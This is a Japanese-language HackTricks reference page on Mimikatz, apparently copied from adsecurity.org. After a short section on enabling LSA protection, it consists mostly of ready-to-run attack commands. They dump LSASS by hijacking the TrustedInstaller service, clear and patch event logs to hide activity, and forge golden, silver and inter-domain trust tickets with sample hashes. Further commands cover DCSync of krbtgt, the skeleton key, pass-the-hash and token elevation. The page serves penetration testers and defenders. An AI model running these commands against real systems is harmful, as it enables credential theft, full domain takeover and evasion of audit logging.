hacktricks/windows-hardening/stealing-credentials/credentials-mimikatz.md
2023-07-07 23:42:27 +00:00

32 KiB
Raw Blame History

Mimikatz

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このページの内容はadsecurity.orgからコピーされました。

メモリ内のLMハッシュとクリアテキスト

Windows 8.1およびWindows Server 2012 R2以降、LMハッシュと「クリアテキスト」パスワードはメモリに保存されなくなりました。

「クリアテキスト」パスワードがLSASSに保存されないようにするには、次のレジストリキーを「0」に設定する必要がありますDigest Disabled

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)

MimikatzLSA保護

Windows Server 2012 R2およびWindows 8.1には、LSA保護という新機能が含まれています。これには、Windows Server 2012 R2でLSASSを保護されたプロセスとして有効化する必要がありますMimikatzはドライバをバイパスできますが、イベントログにイズが発生する可能性があります

ローカルセキュリティ権限サーバーサービスLSASSプロセスを含むLSAは、ローカルおよびリモートのサインインのユーザーを検証し、ローカルのセキュリティポリシーを強制します。 Windows 8.1オペレーティングシステムは、保護されていないプロセスによるメモリの読み取りとコードインジェクションを防ぐために、LSAに追加の保護を提供します。これにより、LSAが保存および管理する資格情報のセキュリティが向上します。

LSA保護の有効化

  1. レジストリエディタRegEdit.exeを開き、次のレジストリキーに移動しますHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa。レジストリキーの値を「RunAsPPL」=dword:00000001に設定します。
  2. 新しいGPOを作成し、コンピュータの構成、設定、Windowsの設定に移動します。レジストリを右クリックし、新規作成をポイントし、レジストリ項目をクリックします。新しいレジストリプロパティダイアログボックスが表示されます。ハイブリストでHKEY_LOCAL_MACHINEをクリックします。キーパスリストでSYSTEM\CurrentControlSet\Control\Lsaに移動します。値名ボックスにRunAsPPLと入力します。値の種類ボックスでREG_DWORDをクリックします。値データボックスに00000001と入力します。OKをクリックします。

LSA保護により、保護されていないプロセスはLSASSとのやり取りを防止されます。Mimikatzはまだドライバ"!+")でこれをバイパスすることができます。

Mimikatz-Driver-Remove-LSASS-Protection

無効化されたSeDebugPrivilegeのバイパス

デフォルトでは、SeDebugPrivilegeはAdministratorsグループにローカルセキュリティポリシーを介して付与されます。Active Directory環境では、この特権を削除することが可能です。これは、コンピュータの構成->ポリシー->Windowsの設定->セキュリティ設定->ローカルポリシー->ユーザー権限の割り当て->デバッグプログラムが空のグループとして定義されている場合です。オフラインのAD接続デバイスでも、この設定は上書きできず、ローカル管理者はメモリのダンプやMimikatzの使用時にエラーが発生します。

ただし、TrustedInstallerアカウントは引き続きメモリのダンプにアクセスでき、この防御をバイパスするために使用できます。TrustedInstallerサービスの構成を変更することで、アカウントを実行してProcDumpを使用し、lsass.exeのメモリをダンプすることができます。

sc config TrustedInstaller binPath= "C:\Users\Public\procdump64.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp"
sc start TrustedInstaller

[TrustedInstaller-Dump-Lsass

このダンプファイルは、攻撃者が制御するコンピュータに外部流出させることができ、そこから資格情報を抽出することができます。

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

メイン

イベント

EVENT::Clear イベントログをクリアする

Mimikatz-Event-Clear

EVENT:::Drop (実験的) 新しいイベントを避けるためにイベントサービスをパッチする

Mimikatz-Event-Drop

注意:
privilege::debugを実行してからevent::dropを実行してイベントログをパッチします。その後、Event::Clearを実行してイベントログをクリアしますが、クリアされたイベントログ1102はログに記録されません。

KERBEROS

ゴールデンチケット

ゴールデンチケットは、KRBTGT NTLMパスワードハッシュを使用して暗号化および署名されたTGTです。

ゴールデンチケットGTは、ドメイン内の任意のユーザー実在または想像上をドメイン内の任意のグループのメンバーとして偽装することができますほぼ無制限の権限を提供ドメイン内の任意のリソースに対して。

Mimikatzゴールデンチケットコマンドリファレンス:

ゴールデンチケットを作成するためのMimikatzコマンドは「kerberos::golden」です。

  • /domain 完全修飾ドメイン名。この例では「lab.adsecurity.org」です。
  • /sid ドメインのSID。この例では「S-1-5-21-1473643419-774954089-2222329127」です。
  • /sids スプーフしたいアカウント/グループの追加SID。通常、これはルートドメインのEnterprise Adminsグループである「S-1-5-21-1473643419-774954089-5872329127-519」です。このパラメータは提供されたSIDをSID Historyパラメータに追加します。
  • /user 偽装するユーザー名
  • /groups (オプション) ユーザーが所属するグループのRID最初のものがプライマリグループです
    同じアクセスを受けるためにユーザーまたはコンピューターアカウントのRIDを追加します。
    デフォルトのグループ: 513,512,520,518,519は、よく知られた管理者グループ以下にリストされていますです。
  • /krbtgt ドメインのKDCサービスアカウントKRBTGTのNTLMパスワードハッシュ。TGTを暗号化および署名するために使用されます。
  • /ticket (オプション) ゴールデンチケットファイルを後で使用するために保存するパスと名前を指定するか、/pttを使用してゴールデンチケットを直ちにメモリに注入します。
  • /ptt /ticketの代わりに、このオプションを使用して偽造されたチケットを直ちにメモリに注入します。
  • /id (オプション) ユーザーRID。Mimikatzのデフォルトは500ですデフォルトのAdministratorアカウントRID
  • /startoffset (オプション) チケットが利用可能になる開始オフセット(このオプションを使用する場合、通常は-10または0に設定されます。Mimikatzのデフォルト値は0です。
  • /endin (オプション) チケットの有効期間。Mimikatzのデフォルト値は10年約5,262,480分です。Active DirectoryのデフォルトのKerberosポリシー設定は10時間600分です。
  • /renewmax (オプション) 更新とともにチケットの最大有効期間。Mimikatzのデフォルト値は10年約5,262,480分です。Active DirectoryのデフォルトのKerberosポリシー設定は7日間10,080分です。
  • /sids (オプション) ADフォレストのEnterprise AdminsグループのSIDに設定されます[ADRootDomainSID]-519。これにより、ADフォレスト内のすべてのドメインでAD管理者権限をスプーフできます。
  • /aes128 AES128キー
  • /aes256 AES256キー

ゴールデンチケットのデフォルトグループ:

  • ドメインユーザーSID: S-1-5-21<DOMAINID>-513
  • ドメイン管理者SID: S-1-5-21<DOMAINID>-512
  • スキーマ管理者SID: S-1-5-21<DOMAINID>-518
  • Enterprise Admins SID: S-1-5-21<DOMAINID>-519これは偽造チケットがフォレストルートドメインで作成された場合にのみ有効ですが、ADフォレスト管理者権限を持つために/sidsパラメータを使用して追加します
  • グループポリシー作成者所有者SID: S-1-5-21<DOMAINID>-520
.\mimikatz "kerberos::golden /User:Administrator /domain:rd.lab.adsecurity.org /id:512 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

異なるドメイン間のゴールデンチケット

シルバーチケット

シルバーチケットは、ターゲットサービスアカウントSPNマッピングによって識別されるのNTLMパスワードハッシュを使用して暗号化および署名されたTGSTGTと同じ形式です。

シルバーチケットを作成するためのMimikatzの例コマンド:

以下のMimikatzコマンドは、サーバーadsmswin2k8r2.lab.adsecurity.orgのCIFSサービスのためのシルバーチケットを作成します。このシルバーチケットを正常に作成するためには、adsmswin2k8r2.lab.adsecurity.orgのADコンピューターアカウントのパスワードハッシュを、ADドメインのダンプから取得するか、上記のようにローカルシステムでMimikatzを実行して取得する必要がありますMimikatz "privilege::debug" "sekurlsa::logonpasswords" exit。NTLMパスワードハッシュは/rc4パラメーターとともに使用されます。サービスSPNタイプも/serviceパラメーターで特定する必要があります。最後に、対象コンピューターの完全修飾ドメイン名を/targetパラメーターで指定する必要があります。/sidパラメーターにはドメインSIDを忘れずに指定してください。

mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

信頼チケット

Active Directoryの信頼パスワードハッシュが判明したら、信頼チケットを生成することができます。信頼チケットは、互いに信頼する2つのドメイン間で共有されるパスワードを使用して作成されます。 信頼チケットに関する詳細な情報

信頼パスワード(信頼キー)のダンプ

Mimikatz “privilege::debug” “lsadump::trust /patch” exit

Mimikatzを使用して偽の信頼チケット異なる領域のTGTを作成する

Mimikatzを使用して、信頼チケットを偽造します。このチケットには、チケット保持者がADフォレストのエンタープライズ管理者であることが記載されていますMimikatzの信頼間でのSIDHistory、"sids"を利用して、私がMimikatzに"貢献"したものです)。これにより、子ドメインから親ドメインへの完全な管理アクセスが可能になります。なお、このアカウントは実際にはどこにも存在しなくても構いません。それは実質的には信頼間のゴールデンチケットです。

Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit

トラストチケットの特定の必須パラメーター:

  • **/**target ターゲットドメインのFQDN。
  • **/**service ターゲットドメインで実行されているKerberosサービスkrbtgt
  • **/**rc4 サービスKerberosサービスアカウントkrbtgtのNTLMハッシュ。
  • **/**ticket 後で使用するために偽造されたチケットファイルを保存するためのパスと名前を指定するか、/pttを使用してゴールデンチケットを直ちにメモリに注入します。

さらにKERBEROS

KERBEROS::List ユーザーのメモリ内にあるすべてのユーザーチケットTGTおよびTGSをリストします。現在のユーザーのチケットのみ表示するため、特別な特権は必要ありません。
「klist」と同様の機能です。

KERBEROS::PTC キャッシュを渡すNT6
Mac OS、Linux、BSD、Unixなどの*NixシステムはKerberosの資格情報をキャッシュします。このキャッシュされたデータはMimikatzを使用してコピーして渡すことができます。また、ccacheファイルにKerberosチケットを注入するのにも便利です。

Mimikatzのkerberos::ptcの良い例は、PyKEKを使用してMS14-068を攻撃する場合です。PyKEKはccacheファイルを生成し、kerberos::ptcを使用してMimikatzに注入することができます。

Mimikatz-PTC-PyKEK-ccacheFile

KERBEROS::PTT チケットを渡す
Kerberosチケットが見つかった後、別のシステムにコピーして現在のセッションに渡すことで、ドメインコントローラーとの通信なしにログオンをシミュレートすることができます。特別な権限は必要ありません。
SEKURLSA::PTHPass-The-Hashと同様の機能です。

  • /filename チケットのファイル名(複数指定可能)
  • /diretory ディレクトリパス。内部のすべての.kirbiファイルが注入されます。

KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2

KERBEROS::Purge すべてのKerberosチケットを削除します
「klist purge」の機能と同様です。チケットPTC、PTTなどを渡す前にこのコマンドを実行して、正しいユーザーコンテキストが使用されるようにします。

Mimikatz-Kerberos-Purge

KERBEROS::TGT 現在のユーザーの現在のTGTを取得します。

Mimikatz-Kerberos-TGT

LSADUMP

LSADUMP::DCShadow 現在のマシンをDCとして設定し、DC内で新しいオブジェクトを作成できるようにします永続的な方法
これには完全なAD管理権限またはKRBTGTパスワードハッシュが必要です。
DCShadowは、レプリケーションの目的で一時的にコンピュータを「DC」として設定します。

  • ADフォレストの構成パーティションに2つのオブジェクトを作成します。
  • 使用されるコンピュータのSPNに「GC」グローバルカタログと「E3514235-4B06-11D1-AB04-00C04FC2DCD2」ADレプリケーションを含めます。Kerberosサービスプリンシパル名に関する詳細は、ADSecurity SPNセクションを参照してください。
  • DrsReplicaAddおよびKCCを介して更新をDCにプッシュします。
  • 構成パーティションから作成されたオブジェクトを削除します。

LSADUMP::DCSync DCにオブジェクトの同期を要求しアカウントのパスワードデータを取得するドメイン管理者、ドメイン管理者、またはカスタムデリゲーションのメンバーシップが必要です。

Mimikatzには、2015年8月に追加された主な機能として、「DCSync」があります。これにより、対象のドメインコントローラーからアカウントのパスワードデータを要求することができます。

DCSyncオプション:

  • /all ドメイン全体のデータをDCSyncで取得します。
  • /user データを取得したいユーザーのユーザーIDまたはSID。
  • /domainオプション Active DirectoryドメインのFQDN。Mimikatzはドメイン内のDCに接続するためにDCを検出します。このパラメーターが指定されていない場合、Mimikatzは現在のドメインをデフォルトとします。
  • /csv csv形式でエクスポートします。
  • /dcオプション DCSyncが接続してデータを収集するドメインコントローラーを指定します。

/guidパラメーターもあります。

DCSyncコマンドの例:

rd.adsecurity.orgドメインのKRBTGTユーザーアカウントのパスワードデータを取得する
Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt" exit

rd.adsecurity.orgドメインのAdministratorユーザーアカウントのパスワードデータを取得する
Mimikatz "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit

lab.adsecurity.orgドメインのADSDC03ドメインコントローラーコンピューターアカウントのパスワードデータを取得する
Mimikatz "lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$" exit

LSADUMP::LSA LSAサーバーにSAM/ADエンタープライズを取得するように要求します通常、フライ上のパッチまたはインジェクト。データの一部を取得するには/patchを使用し、すべてを取得するには/injectを使用します。システムまたはデバッグ権限が必要です。

  • /inject LSASSをインジェクトして資格情報を抽出します。
  • /name 対象のユーザーアカウントのアカウント名
  • /id 対象のユーザーアカウントのRID
  • /patch LSASSをパッチします。

サービスアカウントは通常、ドメイン管理者または同等の権限のメンバーであるか、最近ドメイン管理者がコンピュータにログオンしていた場合、攻撃者は資格情報をダンプすることができます。これらの資格情報を使用して、攻撃者はドメインコントローラーにアクセスし、KRBTGTアカウントのNTLMハッシュを取得することができます。これはKerberosゴールデンチケットの作成に使用されます。

mimikatz lsadump::lsa /inject exit

LSADUMP::NetSync

NetSyncは、DCコンピューターアカウントのパスワードデータを使用して、シルバーチケットを介してドメインコントローラーになりすまし、ターゲットアカウントの情報パスワードデータを含むをDCSyncする簡単な方法を提供します。

LSADUMP::SAM - SAMエントリを復号化するためのSysKeyを取得しますレジストリまたはハイブから。SAMオプションは、ローカルのセキュリティアカウントマネージャーSAMデータベースに接続し、ローカルアカウントの資格情報をダンプします。

LSADUMP::Secrets - SysKeyを取得して、SECRETSエントリレジストリまたはハイブからを復号化します。

LSADUMP::SetNTLM - サーバーに対して1つのユーザーの新しいパスワード/NTLMを設定するように要求します。

LSADUMP::Trust - LSAサーバーに対して信頼認証情報通常またはパッチ適用時を取得するように要求します。

MISC

MISC::Skeleton - ドメインコントローラーのLSASSプロセスにスケルトンキーを注入します。

"privilege::debug" "misc::skeleton"

PRIVILEGE

PRIVILEGE::Backup バックアップ特権/権限を取得します。デバッグ権限が必要です。

PRIVILEGE::Debug デバッグ権限を取得しますこれまたはローカルシステム権限は、多くのMimikatzコマンドで必要です

SEKURLSA

SEKURLSA::Credman 資格情報マネージャーをリストします。

SEKURLSA::Ekeys Kerberos暗号キーをリストします。

SEKURLSA::Kerberos 認証されたすべてのユーザーサービスおよびコンピューターアカウントを含むのKerberos資格情報をリストします。

SEKURLSA::Krbtgt ドメインのKerberosサービスアカウントKRBTGTのパスワードデータを取得します。

SEKURLSA::SSP SSP資格情報をリストします。

SEKURLSA::Wdigest WDigest資格情報をリストします。

SEKURLSA::LogonPasswords 利用可能なプロバイダーの資格情報をリストします。通常、最近ログオンしたユーザーとコンピューターの資格情報が表示されます。

  • 現在ログオンしているまたは最近ログオンしたアカウントのパスワードデータをLSASSにダンプします。ユーザーの資格情報のコンテキストで実行されているサービスも含まれます。
  • アカウントのパスワードは、逆向きに格納されています。メモリ内に格納されている場合Windows 8.1/Windows Server 2012 R2以前はそうでした、表示されます。Windows 8.1/Windows Server 2012 R2では、ほとんどの場合、アカウントのパスワードはこの方法で格納されません。ただし、KB2871997は、Windows 7、Windows 8、Windows Server 2008R2、およびWindows Server 2012にこのセキュリティ機能を「バックポート」します。ただし、KB2871997を適用した後、コンピューターには追加の設定が必要です。
  • 管理者アクセス(デバッグ権限を持つ)またはローカルシステム権限が必要です。

SEKURLSA::Minidump LSASSのミニダンププロセスコンテキストに切り替えますlsassのダンプを読み取ります

SEKURLSA::Pth パス・ザ・ハッシュおよびオーバーパス・ザ・ハッシュ(別名:キーのパス)。

Mimikatzは、NTLMハッシュを使用してプロセスを別の資格情報で実行するための「パス・ザ・ハッシュ」として知られる操作を実行できます。これにより、偽のアイデンティティでプロセスを開始し、偽の情報偽のパスワードのNTLMハッシュを実際の情報実際のパスワードのNTLMハッシュで置き換えます。

  • /user 擬似化したいユーザー名です。Administratorはこのよく知られたアカウントの名前ではないことに注意してください。
  • /domain 完全修飾ドメイン名です。ドメインがない場合、またはローカルユーザー/管理者の場合は、コンピューター名、サーバー名、ワークグループなどを使用します。
  • /rc4または/ntlm オプション ユーザーのパスワードのRC4キー/NTLMハッシュです。
  • /run オプション 実行するコマンドラインです。デフォルトは: シェルを持つためにcmdです。

Mimikatz-Sekurlsa-PTH

SEKURLSA::Tickets 最近認証されたすべてのユーザー、ユーザーアカウントのコンテキストで実行されているサービス、およびローカルコンピュータのADコンピュータアカウントを含む、すべての利用可能なKerberosチケットをリストします。
kerberos::listとは異なり、sekurlsaはメモリの読み取りを使用しており、キーのエクスポート制限の対象ではありません。sekurlsaは他のセッションユーザーのチケットにアクセスできます。

  • /export オプション チケットは.kirbiファイルにエクスポートされます。ユーザーのLUIDとグループ番号0 = TGS、1 = クライアントチケット、2 = TGTで始まります。

LSASSからの資格情報のダンプと同様に、sekurlsaモジュールを使用して、システム上のすべてのKerberosチケットデータを取得できます。これには、管理者またはサービスに属するチケットも含まれます。
これは、ユーザーがバックエンドのSQLサーバーにアクセスするために使用するKerberos委任が構成されたWebサーバーを攻撃者が侵害した場合に非常に便利です。これにより、攻撃者はそのサーバー上のメモリ内のすべてのユーザーチケットをキャプチャして再利用できます。

コマンド: mimikatz sekurlsa::tickets exit

  • システム上のすべての認証されたKerberosチケットをダンプします。
  • 管理者アクセス(デバッグ)またはローカルシステム権限が必要です。

SID

MimikatzのSIDモジュールは、MISC::AddSIDを置き換えます。SID::Patchを使用してntdsサービスをパッチします。

SID::add オブジェクトのSIDHistoryにSIDを追加します。

Mimikatz-SID-add

SID::modify オブジェクトのSIDを変更します。

Mimikatz-SID-Modify

TOKEN

MimikatzのTokenモジュールは、Windowsの認証トークンとのやり取りを可能にし、既存のトークンを取得および模倣することができます。

TOKEN::Elevate トークンを模倣します。デフォルトでは、権限をSYSTEMに昇格させるか、Windows APIを使用してボックス上のドメイン管理者トークンを見つけます。
管理者権限が必要です。

Mimikatz-Token-Elevate1

ボックス上でドメイン管理者の資格情報を見つけ、そのトークンを使用します: token::elevate /domainadmin

Mimikatz-Token-Elevate-DomainAdmin

TOKEN::List システムのすべてのトークンをリストします。

TS

TS::MultiRDP (実験的)複数のユーザーを許可するためにターミナルサーバーサービスをパッチします。

[Mimikatz-TS-MultiRDP](https://adsecurity.org/wp-content

Vault

mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit" - 予定されたタスクのパスワードを取得する



\

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥